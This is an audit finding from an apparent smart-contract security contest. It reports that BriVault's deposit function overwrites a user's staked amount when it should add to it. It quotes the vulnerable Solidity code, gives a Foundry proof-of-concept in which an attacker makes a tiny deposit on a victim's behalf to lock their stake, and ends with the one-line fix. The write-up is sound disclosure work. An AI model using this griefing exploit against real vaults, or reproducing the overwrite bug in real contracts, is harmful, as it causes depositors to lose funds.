BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No increment staking in `BriVault::deposit` will cause potential risk of losing funds when players cancel participation.

noahzzz

Root + Impact

Description

  • Victims can lose a significant amount of stakes if they cancel participation in two scenarios:

    1. Victims call BriVault::deposit multiple times (only stakes for the last call can be refunded).

    2. Attackers call BriVault::deposit with a tiny amount of stakes on behalf of victims after victims deposit (only that tiny amount can be refunded).

  • This is caused by wrong increment logic for BriVault::stakedAsset. Each time a new deposit call from the same depositor will overwrite last staked asset amount.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
​
require(receiver != address(0));
​
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
​
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
​
uint256 stakeAsset = assets - fee;
​
stakedAsset[receiver] = stakeAsset; // @> wrong logic. Should be +=
​
uint256 participantShares = _convertToShares(stakeAsset);
​
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
​
_mint(msg.sender, participantShares);
​
emit deposited (receiver, stakeAsset);
return participantShares;
}

Risk

Likelihood:

  • Extremely likely since there is no restriction for players to deposit only one time.

  • Very cost efficient for griefing: attackers cost only a tiny amount of assets to overwrite victims' staked amount, causing a fund lock.

Impact:

  • Even though victims can directly call ERC-4626 redeem to withdraw all funds, it is not an intended move, and it will harm other players' interest. (see [H-02] ERC-4626 methods not restricted, hence players can change their stakes and shares at any time, even after winner is set.) There is no way for victims to cancel participation without a loss. The only possibility for victims to get back the money is to win the bet.

  • Wrong staked amount accounting and broken cancel mechanism will disincentivize participants.

Proof of Concept

In this attack flow, a malicious attacker locks a victim's stake before event starts. The victim will face fund loss if they cancels participation.

function test_exploitNoIncrementStaking() public {
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
​
mockToken.mint(victim, 50 ether);
mockToken.mint(attacker, 50 ether);
​
vm.prank(owner);
briVault.setCountry(countries);
​
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
// deposit 10 ether
briVault.deposit(10 ether, victim);
briVault.joinEvent(0);
vm.stopPrank();
​
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
// attacker deposits a tiny amount on behalf of victim, locking victim's stake
briVault.deposit(0.001 ether, victim);
vm.stopPrank();
​
vm.startPrank(victim);
briVault.cancelParticipation();
// Victim can only get back less than 0.001 ether due to no increment in staking
assertGt(40.001 ether, mockToken.balanceOf(victim));
vm.stopPrank();
}

How to run this test: Paste test function test_exploitNoIncrementStaking() in file test/briVault.t.sol.

Recommended Mitigation

Fix the stake amount logic, staked asset should be able to add increment.

- stakedAsset[receiver] = stakeAsset
+ stakedAsset[receiver] += stakeAsset
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`stakedAsset` Overwritten on Multiple Deposits

Vault tracks only a single deposit slot per user and overwrites it on every call instead of accumulating the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!